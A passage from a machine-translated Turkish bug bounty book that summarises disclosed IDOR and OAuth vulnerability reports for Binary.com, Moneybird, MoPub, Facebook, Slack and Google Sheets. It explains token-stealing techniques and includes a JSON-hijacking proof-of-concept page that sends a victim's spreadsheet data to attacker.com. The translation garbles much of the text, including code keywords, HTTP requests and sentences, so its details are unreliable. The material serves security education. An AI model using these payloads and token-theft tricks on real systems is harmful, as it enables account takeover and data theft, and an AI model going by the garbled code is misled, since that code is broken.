onlar tarafından hassas UUID'leri sızdırıyorlar.

Bu noktada, bir sızıntı bumasanız bile, bazı siteler bu güvenlik açığını giderir
bilgi duyarlıdır. Etkiyi belirlemek ve açıklamak size kalmıştır.
neden bu konunun ele alınması gerektiğine inanıyorsunuz?

Örnekler

1. Binary.com Ayrıcalık Yükselmesi

Zorluk : Düşük

URL : binary.com

Rapor Bağlantısı : https://hackerone.com/reports/98247 [1]

Rapor Tarihi : 14 Kasım 2015

Ödemeli Ödül : 300 $

Tanım :

Bu gerçekten çok fazla açıklama gerektirmeyen basit bir güvenlik açığıdır.

Temelde, bu durumda, bir kullanıcı herhangi bir hesaba giriş yapabilir ve hassas
saldırıya uğramış kullanıcı hesabı ve hesabın adına
gerekli, kullanıcının hesap kimliğini bilmekti.

Hacking'ten önce, Binary.com/cashier'a giriş yaptıysanız ve sayfa HTML'yi kontrol ettiyseniz,
PIN parametresi içeren bir <iframe> etiketi görürsünüz. Bu parametre
aslında hesap kimliğiniz.

Ardından, HTML'yi düzenlediyseniz ve başka bir PIN eklediyseniz, site otomatik olarak
şifreyi veya başka herhangi bir işlemi onaylamadan yeni hesapta işlem yapmak
kimlik bilgileri. Başka bir deyişle, site size hesabınızın sahibi olarak davranır
az önce sağladı.

Yine, gerekli olan tek şey birinin hesap numarasını bilmekti. Sen bile
iframe'de gerçekleşen olayı, bir ödeme işlemi başlatmak üzere PAYOUT olarak değiştirin.
başka bir hesap Ancak, Binary.com tüm para çekme işlemlerinin el ile yapılması gerektiğini belirtir
İnsan incelemesi ancak bu mutlaka yakalanabileceği anlamına gelmiyor

[1] https://hackerone.com/reports/98247

çıkarımlar

Kimlik doğrulamaya dayalı güvenlik açıkları arıyorsanız, aramaya devam edin
Kimlik bilgilerinin bir siteye geçirildiği yer. Bu güvenlik açığı yakalanırken
Sayfa kaynak koduna bakarak bilgileri de fark etmiş olabilirsiniz.
Proxy önleyici kullanıldığında geçiriliyor.

Bir tür kimlik bilgisi iletildiğini tespit ederseniz, not almadıklarında not alın.
şifreli görün ve onlarla oynamaya çalışın. Bu durumda, pim sadece CRrylic idi
Şifre 0e552ae717a1d08cb134f132 iken
şifre iken şifreli. Şifrelenmemiş değerler güzel bir alanı temsil eder.

ile oynamaya başlayın.

2. Moneybird Uygulaması Oluşturma

Zorluk : Orta

URL : https://moneybird.com/user/applications

Rapor Bağlantısı : https://hackerone.com/reports/135989[2]

Rapor Tarihi : 3 May 2016

Ödemeli Ödül : 100 $

Tanım :

Mayıs 2016'da Moneybird'ü güvenlik açıkları için test etmeye başladım. Bunu yaparken test etmeye başladım kullanıcı hesap izinleri, Hesap A ile bir işletme oluşturma ve ardından davet etme ikinci bir kullanıcı, Hesap B'ye sınırlı izinlerle hesaba katılmak için. Eğer değilseniz platformlarını bildiklerinde, eklenen kullanıcılar belirli roller ve izinlerle sınırlı olabilir, sadece faturalar, tahminler, bankacılık vb. dahil. Bunun bir parçası olarak, tam izinli kullanıcılar ayrıca her biri kendi OAuth'u olan uygulamalar oluşturabilir ve API erişimini etkinleştirebilir izinler (veya OAuth lingo'daki kapsamlar). Dolu bir uygulama oluşturmak için formu gönderme izinler şuna benziyordu:

[2] https://hackerone.com/reports/135989

POST / kullanıcı / uygulamalar HTTP / 1.1
Ev sahibi : moneybird.com
Kullanıcı Aracısı : Mozilla / 5.0 (Windows NT 6.1; rv: 45.0) Gecko / 20100101 Firefox / 45.0
Kabul et : metin / html, uygulama / xhtml + xml, uygulama / xml; q = 0.9, * / *; q = 0.8
Kabul Dili : en-ABD, en; q = 0.5
Kabul-Kodlama : gzip, deflate, br
DNT : 1
Hakem : https://moneybird.com/user/applications/new
Çerez : _moneybird_session = XXXXXXXXXXXXXXX; trusted_computer =
Bağlantı : yakın
İçerik Türü : uygulama / x-www-form-urlencoded
İçerik Uzunluğu : 397

UTF-8 =% E2% 9C% 93 ve authenticity_token = redacted ve doorkeeper_application% 5Bname% 5D = TWDA \
s ve token_type = ACCESS_TOKEN & administration_id = ABCDEFGHIJKLMNOP ve% 5B% 5D = satış kapsamları \
_invoices ve% 5B% 5D = belgeleri kapsamları ve% 5B% 5D = tahminleri kapsamları ve% 5B% 5D = banka kapsamları ve kapsamları \

% 5B% 5D = ayarları & doorkeeper_application% 5Bredirect_uri% 5D = & taahhüt = Kaydet

Gördüğünüz gibi, çağrı bir içermektedir **administration_id** olarak çıkıyor,
Eklenen işletmeler için hesap kimliği. Daha da ilginç olanı gerçekti
hesap numarasının 18 basamaklı olmasına rağmen (sınama sırasında),
Giriş yaptıktan sonra hemen hesaba eklenen kullanıcıya açıklandı
URL. Böylece, B Kullanıcısı giriş yaptığında, onlar (ya da daha doğrusu ben) adresindeki A Hesabına yönlendirildiler.
https://moneybird.com/ABCDEFGHIJKLMNOP (yukarıdaki örnek kimliğimize dayanarak)
ABCDEFGHIJKLMOP administrasyon_id'idir.

Bu iki bilgi parçasıyla, davet ettiğim kullanıcı olan Kullanıcı'yı kullanmak doğaldı.
B, açıkça belirtilmemesine rağmen, Kullanıcı A'sı için bir uygulama denemek ve oluşturmak
bunu yapmak için izin. Sonuç olarak, B Kullanıcısıyla, Kullanıcının sahibi olduğu ikinci bir işletme oluşturdum.
B'nin mülkiyeti ve kontrolü tamamen kontrol altındaydı (B Kullanıcısı B, B Hesabı ve
bunun için uygulamalar oluşturabilir, ancak için uygulamalar oluşturma izniniz yoktu
Hesap A). Hesap B'nin ayarlar sayfasına gittim ve bir uygulama ekledim.
POST çağrısı Administration_id yerine Account A'nın URL'sini kullandı ve işe yaradı.
B kullanıcısı olarak, yalnızca benim hesabım olmasına rağmen A hesabına tam izinleri olan bir uygulamam vardı.
faturalandırma için sınırlı izinler.

Anlaşılan, bir saldırgan platform izinlerini atlamak için bu güvenlik açığını kullanabilir.
ve bir işletmeye eklenmesi koşuluyla tam izinleri olan bir uygulama oluşturun veya
Bu kullanıcı hesabının izinlerinden bağımsız olarak bir kullanıcı hesabını tehlikeye attı.
Daha önce çok geçmeden yaşamaya ve hiç şüphesiz raporlara kapılmaya rağmen,
Moneybird ay içinde sorunu çözdü ve ödedi. Kesinlikle harika bir takım
çalışmak, bir tane tavsiye ederim.

çıkarımlar

IDOR'lar için testler, yeteneklerin yanı sıra keskin bir gözlem gerektirir. İncelerken
Güvenlik açıkları için HTTP istekleri, aşağıdaki gibi hesap tanımlayıcıları aramaya başlayın
Yukarıdaki Administration_id. Alan adı iken, **management_id**
hesap_adı adı verilen , sade **olana** kıyasla biraz yanıltıcıdır
tamsayı kontrol etmem gereken bir kırmızı bayraktı. Ek olarak, uzunluğu
parametresinde, güvenlik açığından yararlanmadan güvenlik açığından yararlanılması zor olurdu.
bir sürü ağ gürültüsü duymak,
doğru kimlik Benzer güvenlik açıkları bulursanız, raporunuzu geliştirmek için her zaman açık
kimlikleri ifşa eden HTTP yanıtları, URL'ler vb. Neyse ki benim için, kimliği
İhtiyacım olan hesap URL'sine dahil edildi.

3. Twitter Mopub API Token Çalma

Zorluk : Orta

URL : https://mopub.com/api/v3/organizations/ID/mopub/activate

Rapor Bağlantısı : https://hackerone.com/reports/95552 [3]

Rapor Tarihi : 24 Ekim 2015

Ödemeli Ödül : 5.040

Tanım :

Ekim 2015'te Akhil Reni (https://hackerone.com/wesecureapp) Twit'in
ter'in Mopub başvurusu (2013'ten bir Twitter devralması) bir IDOR'a açıktı
Saldırganların API anahtarlarını çalmalarına ve nihayetinde mağdurun hesabını ele geçirmelerine izin veren hata.
İlginçtir, ancak hesap devralma bilgileri ilk olarak sağlanmadı
rapor - yorum ile 19 gün sonra, neyse ki Twitter bir ödül ödemeden önce sağlandı.

Raporuna göre, bu güvenlik açığından izin doğrulama yeterliliği olmamasına neden oldu
POST çağrısında Mopub'ın aktif uç noktasına. İşte nasıl göründüğü:

```
POST / api / v3 / kuruluşlar / 5460d2394b793294df01104a / mopub / HTTP'yi etkinleştir / 1.1
Ana bilgisayar : fabric.io
Kullanıcı Aracısı : Mozilla / 5.0 (Windows NT 6.3; WOW64; rv: 41.0) Gecko / 20100101 Firefox / \
41.0
Kabul etmek: */*
Kabul Dili: en-ABD, en; q = 0.5
Kabul-Kodlama: gzip, deflate
X-CSRF Token: 0jGxOZOgvkmucYubALnlQyoIlsSUBJ1VQxjw0qjp73A =
İçerik Türü: uygulama / x-www-form-urlencoded; karakter kümesi = UTF-8
```

[3] https://hackerone.com/reports/95552


```
X-CRASHLYTICS-DEVELOPER-TOKEN: 0bb5ea45eb53fa71fa5758290be5a7d5bb867e77
X-İstenilen İle: XMLHttpRequest
Hakem: https: //fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplicati \
/ MoPub üzerinde
İçerik Uzunluğu: 235
Çerez: <düzeltildi>
Bağlantı: canlı tutmak
Pragma: önbellek yok
Önbellek Kontrolü: önbellek yok

company_name = dragoncompany & address1 = 123 cadde ve address2 = 123 & şehir = hollywood ve eyalet \
= California & zip_code = 90210 & COUNTRY_CODE = ABD & link = false
```

Aşağıdaki yanıtla sonuçlanan:

```
{ "Mopub_identity": "doğruladı" "5496c76e8b15dabe9c0006d7": { "id" true "birincil": fa \
lse, "hizmet": "MoPub", "belirteç": "35592"}, "örgüt": { "id": "5460d2394b793294df0 \
1104a " "name": "test", "ad": "test2", "api_key":" 8590313c7382375063c2fe279a4487a9 \
8387767a " "kayıtlar": { "beta_distribution": "doğru"} "accounts_count": 3," apps_co \
unts ": {" android ": 2}," sdk_organization ": true," build_secret ":" 5ef0323f62d71c475611 \
a635ea09a3132f037557d801503573b643ef8ad82054" , "mopub_id": "33525"}}
```

Bu aramalarda, kuruluş kimliğinin URL'nin bir parçası olarak eklendiğini göreceksiniz;
yukarıdaki örnek 2'ye. Cevapta Mopub, kuruluş kimliğini ve ayrıca
api_key'i sağlar. Yine, yukarıdaki örneğe benzer şekilde, organizasyon kimliği bir
unguessable dize, platformda sızdırılmış, ayrıntıları ne yazık ki
bu açıklamada paylaşılmadı.

Şimdi, belirtildiği gibi, sorun çözüldükten sonra Akhil, Twitter'ı,
saygınlık, mağdurun hesabını tamamen devralmak için kötüye kullanılmış olabilir. Böyle yaparak,

saldırganın, çalınan API anahtarını alması ve anahtar kodu
URL, **https://app.mopub.com/complete/htsdk/?code=BUILDSECRET&next=%2d.**
Bunu yaptıktan sonra, saldırgan kurbanın Mopub hesabına ve hepsine erişebilir.
Twitter'ın mobil geliştirme platformu, Fabric'ten uygulamalar / organizasyonlar.

Sayfa 170

çıkarımlar

Yukarıdaki Moneybird örneğine benzese de, her ikisinin de kötüye kullanılması gerektiğinden
sızdırılmış kuruluş kimliklerini imtiyazları yükseltmek için, bu örnek harika çünkü
sıfır ile kullanıcılara uzaktan saldırabilmenin ciddiyetini göstermektedir
onların adına etkileşim ve tam bir istismar gösterme ihtiyacı. Başlangıçta,
Akhil tam hesap devralma dahil veya göstermedi ve
Twitter'ın bu söze verdiği yanıt (örneğin, ayrıntı istemek ve
öyleyse), başlangıçta çözülürken bu etkiyi düşünmemiş olabilirler.
Güvenlik açığı. Bu yüzden, rapor verirken, raporun tamamını dikkate aldığınızdan ve ayrıntılarını anladığınızdan emin olun.
Raporladığınız güvenlik açığının, yeniden oluşturma adımları da dahil olmak üzere etkisi.

özet

Bir saldırgan bazı referanslara erişebildiği veya değiştirebildiği zaman IDOR açıkları ortaya çıkıyor
aslında o saldırganın erişemeyeceği bir nesneye. Onlar harika
Karmaşıklıklarının basit, sömürüden farklı olduğu için test edilip bulunma güvenlik açığı
UUID'lerin rastgele veya rasgele olduğu yerlerde daha karmaşık olana ekleyerek ve çıkararak basit tamsayılar
tanımlayıcılar kullanılır. Bir site UUID'ler veya rasgele tanımlayıcılar kullanıyorsa, hepsi değil
kayıp. Bu tanımlayıcıları tahmin etmek veya sitenin sızdığı yerleri bulmak mümkün olabilir
UUID'ler. Buna JSON yanıtları, HTML içerik yanıtları ve URL'leri birkaç
örnekleri.

Raporlama yaparken, bir saldırganın güvenlik açığını nasıl kötüye kullanabileceğini düşündüğünüzden emin olun. İçin
örneğin, Moneybird örneğim bir hesaba eklenmiş bir kullanıcı gerektiriyorsa,
Bir saldırgan, IDOR'dan platform izinlerini tamamen atlamak için yararlanabilir.
hesaptaki herhangi bir kullanıcıyı tehlikeye atmak.

19. OAuth

Açıklama

OAuth sitesine göre, şehir içinde güvenli yetkilendirme sağlamak için açık bir protokoldür.
web, mobil ve masaüstü uygulamalarından basit ve standart bir yöntemdir. Diğer
kelimeler, OAuth, kullanıcıların web sitelerine izin vermesine izin veren bir kullanıcı kimlik doğrulama şeklidir.
başka bir siteden kendi bilgilerine ifşa etmeden veya paylaşmadan erişme başvuruları
onların şifresi. Bu, kullanarak bir siteye giriş yapmanızı sağlayan temel işlemdir.
Facebook, Twitter, LinkedIn vb. OAuth'un 1.0, 2.0 sürümlerinin iki sürümü vardır. Onlar
birbirimizle uyumlu değil ve bu bölümün amaçları için çalışacağız
2.0 ile.

Süreç oldukça kafa karıştırıcı olabileceğinden ve uygulamanın çok fazla potansiyeli olduğu için
hatalar için Philippe Harewood'un harika bir görüntüsünü ekledim.[1] resmeden blog
genel süreç:

[1] https://www.philippeharewood.com

Philippe Harewood - Facebook OAuth Süreci

Bunu yıkalım. Başlamak için, üstte üç başlık olduğunu göreceksiniz: **Kullanıcının Tarayıcı** , **Uygulamanızın Sunucu Tarafı Kodu** ve **Facebook API'si** . OAuth açısından, bunlar aslında **Kaynak Sahibi** , **Müşteri** ve **Kaynak Sunucusu** . Anahtar paket servisi budur tarayıcınız kolaylaştıracak bir dizi HTTP isteğini gerçekleştirecek ve gerçekleştirecek Eğer olarak **Kaynak Sahibi** , talimat **Kaynak Sunucusu** izin **Client** İstenen kapsamda tanımlandığı şekilde kişisel bilgilerinize erişebilirsiniz. Kapsamlar izinler gibi ve belirli bilgi parçalarına erişimi kontrol ederler. Örneğin, Facebook kapsamları arasında e-posta, public_profile, user_friends, vb. Sayılabilir. e-posta kapsamı, bir site arkadaşlarınızın değil, yalnızca bu Facebook bilgilerine erişebildi. profil vb.

Bu, adımların üzerinden geçelim dedi.

Aşama 1

OAuth işleminin tümünün Kullanıcının tarayıcısını ve kullanıcının tıkladığını başlattığını görebilirsiniz. "Facebook ile giriş". Bu tıkladığınızda, siteye GET isteği ile sonuçlanır. Yol genellikle **www.example.com/oauth/facebook** gibi bir şeye benziyor .

Adım 2

Site, tarayıcınıza bir GET gerçekleştirmesini söyleyen 302 yönlendirmesiyle yanıt verecek
Konum başlığında tanımlanan URL'yi isteyin. URL şuna benzeyecek:

https://www.facebook.com/v2.0/dialog/oauth?client_id=123
Ve redirect_uri = HTTPS% 3A% 2F% 2Fwww.example.com% 2Foauth% 2Fcallback
& Response_type = kod & kapsam = email & eyalet = XYZ

Bu URL'de birkaç önemli parça var. İlk olarak, client_id hangi siteyi tanımlar
sen geliyorsun Redirect_uri, Facebook'a sizi tekrar nereye göndereceğini söyler.
Sitenin (**müşteri**), kapsam tarafından tanımlanan bilgilere erişmesine izin vermiş olması , ayrıca
URL'ye dahil edilmiştir.

Daha sonra response_type, Facebook'a ne döneceğini söyler, bu bir belirteç veya kod olabilir.
Bu ikisi arasındaki fark önemlidir, izin verilen site tarafından bir kod kullanılır.
istemci) **Kaynak Sunucuyu** veya örneğimizde Facebook'u tekrar aramak
bir belirteç. Öte yandan, bu ilk durakta bir belirteç istemek ve almak
hesap bilgisini sorgulamak için **kaynak sunucuya** anında erişim sağlayın
Bu simge geçerliydi.

Son olarak, durum değeri bir CSRF koruması türü olarak işlev görür. Talep eden site (**müşteri**)
bunu **kaynak sunucuya** orijinal çağrılarına dahil etmeli ve
a) asıl isteğin site tarafından çağrıldığını ve
tahrif edilmedi.

Aşama 3

Sonra, bir kullanıcı OAuth iletişim kutusunu kabul ederse açılır ve **istemci** izinlerini verir.
kaynak sunucudaki bilgileri ya da örneğimize göre Facebook cevap verecek
302 tarayıcıya yeniden yönlendirmek , redirect_uri tarafından tanımlanan siteye (**istemci**)
ve bir kod veya belirteç ekleyin, içinde cevap_tipine (genellikle koddur) bağlı olarak
ilk URL

4. adım

Tarayıcı , kod ve durum dahil olmak üzere siteye (**müşteri**) bir GET isteği yapacak
URL'deki **kaynak sunucu** tarafından sağlanan değerler .

Adım 5

Site (**istemci**), işlemin tahrif edilmediğinden emin olmak için durum değerini doğrulamalıdır
yapmak için kendi client_secret'leriyle birlikte kod kullanın ve (yalnızca onlar bilir)
Bir belirteç için **kaynak sunucuya** veya Facebook'a istek gönder .

Sayfa 174

6. adım

Kaynak sunucusu bu örnekte, veya facebook, siteye (yanıt **istemci** bir birlikte)

sitenin (**müşterinin**) Facebook'a API çağrıları yapmasına ve kapsamlara erişmesine izin veren token
3. Adımda izin verdiğiniz

Şimdi, bütün bu akılda tutulması gereken, dikkat etmeniz gereken bir şey
Siteye (**müşteri**) erişmek için **kaynak sunucuya** , Facebook'a bu örnekte, ziyaret ederseniz
Yine 2. Adımdaki URL'den, işlemin kalan kısmı tamamen
gerekli kullanıcı etkileşimi olmadan arka plan.

Yani, tahmin ettiğiniz gibi, OAuth ile aranacak olası bir güvenlik açığı
Kaynak sunucunun döndürdüğü belirteçleri çalma yeteneği . Bunu yapmak izin verir
Saldırgan adına mağdur adına **kaynak sunucuya** erişmek için saldırgan
3. Adımdaki yetki belgesindeki kapsamlar aracılığıyla izin verilir. Araştırmama göre, bu tipik
redirect_uri'yi manipüle edebilme ve yerine bir belirteç isteme sonucu
kod.

Bu gelir için Yani, ilk adım test etmek **Adım 2** . Eğer yönlendirildi aldığınızda **kaynak**
sunucuya , yanıt_tipini değiştirin ve **kaynak sunucunun** bir belirteç döndürüp döndürmeyeceğini görün. Eğer
öyle yaparsa, sitenin veya uygulamanın nasıl yapılandırıldığını onaylamak için redirect_uri'yi değiştirin. İşte,
bazı OAuth **kaynak sunucuları** kendileri yanlış yapılandırılmış olabilir ve aşağıdaki gibi URL'lere izin verebilir
www.example.ca, www.example.com@attacker.com vb. İlk örnekte, .ca eklenir.
aslında sitenin etki alanını değiştirir. Yani benzer bir şey yapabilir ve satın alabilirsiniz
etki alanı, belirteçleri sunucunuza gönderilir. İkinci örnekte, @ ekleme
URL'yi tekrar değiştirerek ilk yarıyı gönderilecek kullanıcı adı ve şifre olarak kabul edin.
attacker.com'a.

Bu iki örneğin her biri bir hacker olarak sizin için mümkün olan en iyi senaryoyu sunar.
Bir kullanıcı siteye zaten izin vermişse (**müşteri**). Şimdi tekrar ziyaret ederek
kaynak sunucu değiştirilmiş bir yanıt_tipi ve yeniden yönlendirmeli_uri kodu olan kötü amaçlı URL
Kullanıcının zaten izin verdiğini ve belirteci döndüreceğini
herhangi bir etkileşim olmadan sunucunuza otomatik olarak. Örneğin, bir
kötü amaçlı URL'yi gösteren **src** niteliği ile kötü amaçlı **<img>** .

Şimdi doğrudan sunucunuza yönlendirilemediğinizi varsayarsak, **kaynağın** hala **kaynak** olup olmadığını görebilirsiniz.
sunucu , test.example.com gibi farklı alt alanları kabul eder veya
www.example.com/attacker-controlled. Redirect_uri yapılandırması katı değilse, bu
kaynak sunucunun belirteci kontrol ettiğiniz bir URL'ye göndermesine neden olabilir . Ancak,
Bir jetonu başarıyla çalmak için bu güvenlik açığını bir araya getirmeniz gerekir.
Bunu yapmanın üç yolu açık bir yönlendirmedir, uzak bir görüntü veya bir XSS ister.

Açık yönlendirmeyle ilgili olarak, yolu ve / veya alt etki alanını kontrol edebiliyorsanız
hangi yönlendirmeye yönlendirilirse, açık bir yönlendirme
sunucunuza gönderilen yönlendirme üstbilgisi. Başka bir deyişle, açık bir yönlendirme
Bir kullanıcıyı kötü amaçlı sitenize göndermeniz ve bunu yaparken sunucunuza yapılan istek

Sayfa 175

Mağdurun geldiği URL'yi ekleyin. Yana **kaynak sunucu** kurbanı gönderiyor
Açık yönlendirme için belirteç ve belirteç bu URL'ye dahil edilirse, belirteç
Aldığınız başvuru yönlendirici başlığı.

Uzak bir görüntü ile ilgili olarak, ne zaman hariç, yukarıda açıklandığı gibi benzer bir işlemdir.
Kaynak sunucu sunucunuzdan Uzak resim içeren bir sayfaya yönlendiriyor.
Mağdurun tarayıcısı görüntü için talepte bulunduğunda, bunun için yönlendiren başlık
istek URL'yi içerecektir. Ve tıpkı yukarıdaki gibi, URL belirteci içerdiğinden
Sunucunuza istek eklenecektir.

Son olarak, XSS ile ilgili olarak, herhangi bir alt etki alanında depolanmış bir XSS bulabilirseniz /

bir saldırganın yönlendirdiği yolu veya redirect_uri öğesinin bir parçası olarak yansıyan bir XSS
Bu, belirteci URL'den alan ve gönderen kötü amaçlı bir komut dosyası kullanmaktan
onların sunucusu.

Bütün bunlar göz önüne alındığında, bunlar sadece OAuth'un kötüye kullanılabileceği yöntemlerden sadece birkaçı. Orada örneklerden öğreneceğiniz gibi diğerleri vardır.

Örnekler

1. Facebook Resmi Erişim Simgelerini Kaydırma

Zorluk : Yüksek

URL : facebook.com

Rapor Bağlantısı : Philippe Harewood - Facebook Resmi Erişim Simgelerini Kaydırma [2]

Rapor Tarihi : 29 Şubat 2016

Ödemeli Ödül : Açıklanmadı

Tanım :

Philippe, bu güvenlik açığını ayrıntılarıyla açıklayan blogunda, nasıl istediğini açıklayarak başlıyor
Facebook jetonlarını yakalamak ve yakalamak için. Ancak, kırmanın bir yolunu bulamadı.
OAuth süreçleri ona belirteçleri yollamak için. Bunun yerine, aramak için ustaca bir fikri vardı.
devralabileceği savunmasız bir Facebook uygulaması. Fikrine çok benzer
bir alt etki alanı devralma.

Görünüşe göre, her Facebook kullanıcısının hesabı tarafından yetkilendirilmiş uygulamaları vardır, ancak bu açıkça kullanmayabilirler. Yazısına göre, bir örnek "İçerik Sekmesi olacaktır.
Facebook Fan Sayfalarına bazı API çağrıları yükleyen, www. Uygulamalar listesi
https://www.facebook.com/search/me/apps-used adresini ziyaret ederek erişilebilir.

Bu listeye bakarak Philippe, yanlış yapılandırılmış bir uygulama bulmayı başardı ve
gibi görünen bir istekle belirteçleri yakalamak için kötüye kullanılabilir:

[2] http://philippeharewood.com/swiping-facebook-official-access-tokens

https:? //facebook.com/v2.5/dialog/oauth response_type = belirteci & display = açılır & client_ \
id = APP_ID & redirect_uri = REDIRECT_URI

Burada APP_ID için kullanacağı uygulama tam izinlere sahipti.
Zaten yetkili ve yanlış yapılandırılmış - işlemden 1 ve 2 numaralı adımların anlamı
OAuth Açıklamasında açıklananlar zaten tamamlandı ve kullanıcı alamadı
onlar zaten zaten yapmış çünkü app izin vermek için bir pop-up!
Ek olarak, REDIRECT_URI, Facebook'a ait olmadığından, Philippe aslında
Devral. Sonuç olarak, bir kullanıcı bağlantısını tıkladığında, yönlendirilecekler:

http: // REDIRECT_URI / access_token_appended_here

Philippe bu adresi tüm erişim belirteçlerini günlüğe kaydetmek ve Facebook hesaplarını ele geçirmek için kullanabilir!
Resmi bir Facebook'unuz olduğunda, yayınına göre, daha da harika olan şey
erişim belirtecine, örneğin Facebook'un sahip olduğu diğer mülklerden belirteçlere erişebilirsiniz.
Instagram! Tek yapması gereken, Facebook GraphQL'e (sorgulama için bir API) çağrı yapmaktı.

Facebook'tan gelen veriler) ve yanıt, içindeki uygulama için bir access_token içerir
soru.

çıkarımlar

Güvenlik açıklarını ararken, eski varlıklardan nasıl yararlanılabileceğini göz önünde bulundurun.
Hacklenirken, bırakılabilecek uygulama değişikliklerine dikkat edin
bunlar gibi kaynaklar ortaya çıkar. Philippe'den gelen bu örnek harika çünkü o
OAuth belirteçlerini çalarak ve bir son hedefi belirleyerek onunla başladı
Bunu yapmak için araçlar.

Eğer bu örneği sevdim, ayrıca, size kontrol etmelisiniz Philippe Blog [3]
(Kaynaklar Bölümüne dahil) ve Oturduğu Hacking Pro İpuçları Röportajı
yapmak için benimle aşağı - o bir çok büyük tavsiye sağlar !.

2. Slack OAuth Jetonlarını Çalmak

Zorluk : Düşük

URL : https://slack.com/oauth/authorize

Rapor Bağlantısı : https://hackerone.com/reports/2575 [4]

Rapor Tarihi : 1 Mayıs 2013

Ödemeli Ödül : 100 $

[3] https://www.philippeharewood.com
[4] http://hackerone.com/reports/2575

Tanım :

Mayıs 2013'te Prakhar Prasad[5] Slack'e, k di aralarında by-pass yapabileceğini bildirdi.
yapılandırılmış izin verilen yönlendirmeye bir etki alanı soneki ekleyerek redirect_uri kısıtlamaları
alan adı.

Dolayısıyla, örneğinde, https://api.slack.com/applications/new adresinde yeni bir uygulama yarattı.
https://www.google.com adresine yapılandırılmış bir redirect_uri ile. Öyleyse, bunu denemek
redirect_uri = http: //attacker.com 'u denedi, Slack isteği reddetti. Ancak, eğer o alt
mitted redirect_uri = www.google.com.mx, Slack isteği kabul etti. Yönlendirme deneniyor-
uri = www.google.com.attacker.com adresine de izin verildi.

Sonuç olarak, saldırganın yapması gereken tek şey kendi sitelerinde uygun alt etki alanını oluşturmaktı
Slack uygulaması için kayıtlı geçerli redirect_uri ile eşleşerek, mağdurun URL'yi ziyaret etmesini sağlayın
Slack token'ı saldırgana gönderirdi.

çıkarımlar

Biraz eski olsa da, bu güvenlik açığı OAuth redirect_uri değerinin nasıl olduğunu gösterir.
tarihlemeler **kaynak sunucular** tarafından yanlış yapılandırılabilir . Bu durumda, Slack'in
bir saldırganın alan sonekleri eklemesine izin veren OAuth'un uygulanması
ve belirteçleri çalmak.

3. Google Drive E-Tablolarını Çalmak

Zorluk : Orta

URL : https://docs.google.com/spreadsheets/d/KEY

Rapor Bağlantısı : https://rodneybeede.com[6]

Rapor Tarihi : 29 Ekim 2015

Ödemeli Ödül : Açıklanmadı

Tanım :

Ekim 2015'te, Rodney Beede Google'da olabilecek ilginç bir güvenlik açığı buldu.
Bir saldırganın, e-tablo kimliğini bilmesi durumunda e-tabloları çalmasına izin verdi. Buydu
Özellikle Google'ın HTTP GET isteklerinin gerçekleştirdiği bir faktörler birleşiminin sonucu
CSRF güvenlik açığı oluşturan ve bir OAuth belirteci içermeyen
JSON içeren geçerli bir Javascript nesnesi. Ona uzanarak, o yeterince nazikti
örneğin paylaşılmasına izin verin.

Düzeltmeden önce, Google'ın Görselleştirme API'sı, geliştiricilerin Google E-Tablolar'ı sorgulamalarını sağladı.
Google Drive'da depolanan e-tablolardan bilgi için. Bu başarılabilirdi
şuna benzeyen bir HTTP GET isteği:

[5] https://hackerone.com/prakharprasad
[6] https://www.rodneybeede.com/Google_Spreadsheet_Vuln_-_CSRF_and_JSON_Hijacking_allows_data_theft.html

---

Sayfa 178

https : // **dokümanlar** . **google** . **com** / **elektronik tablolar** / **d** / **ID** / **gviz** / **tq** ? **başlıklar** = **2** & **amp** ; **aralık** = **A1** : H & **amp** ; **s** \
heet = **Sayfa1** & **amp** ; **tqx** = % **req** % **3A0**

URL'nin ayrıntıları önemli değil, bu yüzden ayrılmayacağız. Önemli olan
Bu isteği yaparken, Google gönderilen bir OAauth belirteci eklememiş veya doğrulamamıştır,
veya başka tür bir CSRF koruması. Sonuç olarak, saldırgan isteği çağırabilir
Mağdur adına kötü niyetli bir web sayfası aracılığıyla (örneğin, Rodney'nin izniyle):

```
1 <html>
2    <Head>
3      <Script>
4        var google = yeni Nesne ();
5        google.visualization = new Object ();
6        google.visualization.Query = new Object ();
7        google.visualization.Query.setResponse = function (goods) {
8          google.response = JSON.stringify (ürünler, tanımsız, 2);
9        }
10     </ Script>
11
12     <! - Bağımsız değişken olarak gömülü JSON dizgisine sahip Javascript'i döndürür ->
13     <script type = "text / javascript" src = "https: //docs.google.com/spreadsheets/d/1 \
14 bWK2wx57QJLCsWh-jPQS07-2nkaiEaXPEDNGoVZwjOA / gviz / tq? Headers = 2 ve aralık = A1: H & amp \
15 ; sheet = Sheet1 & amp; tqx = reqId% 3A0 " > </script>
16
17     <Script>
18       işlev kaçakçılığı (mallar) {
19         document.getElementById ('cargo') .TextText = mal;
20           document.getElementById ( 'gizli') göndermek ().;
21       }
22     </ Script>
23   </ Head>
```

```
24
25      <body onload = "smuggle (google.response);" >
26        <form action = "https://attacker.com/capture.php" method = "POST" id = "gizli" >
27          <textarea id = "cargo" name = "cargo" satırlar = "35" cols = "70" > </textarea>
28        </ Form>
29
30      </ Body>
31 </html>
```

Bunu yıkalım. Göre Google'ın belgelerinde [7] , JSON yanıtı alır
Javascript nesnesindeki veriler. Bir istek bir responseHandler değeri içermiyorsa,

[7] https://developers.google.com/chart/interactive/docs/dev/implementing_data_source#json-response-format

Sayfa 179

varsayılan değer şudur **google.visualization.Query.setResponse** . Yani, bunları akılda tutarak,
3. satırdaki komut dosyası, anonim bir işlev tanımlamamız gereken nesneleri oluşturmaya başlar
Javascript nesnesi ile verilerimizi aldığımızda setResponse için çağrılacak
Google'dan.

Böylece, 8. satırda, **google** nesnesindeki yanıtı, yanıtın JSON değerine ayarlıyoruz .
Nesne basitçe geçerli JSON içerdiğinden, bu sorunsuz çalışır. İşte
yayıldıktan sonra örnek bir cevap (yine Rodney'in izniyle):

```
{
"versiyon": "0.6",
"reqId": "0",
"status": "tamam",
"sig": "405162961",
"masa": {
"cols": [
{
"İd": "A",
"label": "Hesap # 12345",
...
```

Şimdi, bu noktada, zeki okuyucular Cross Origin'e ne olduğunu merak etmiş olabilirler.
Kaynak Paylaşımı korumaları? Komut dosyanız Google'ın yanıtına nasıl erişebilir?
ve kullan? Peki, Google içeren bir Javascript nesnesi döndürdüğü için çıkıyor
Bir JSON dizisi ve bu nesne anonim değil (yani, varsayılan değer
setResponse), tarayıcı bunu geçerli Javascript olarak değerlendirir ve böylece saldırganların okumasını sağlar
ve kullan. Meşru bir senaryoyu uzak bir siteden kendi başınıza eklemeyi düşünün
HTML, aynı fikir. Senaryo sadece bir JSON nesnesi içeriyor olsaydı, olmazdı
geçerli Javascript ve erişemedik.

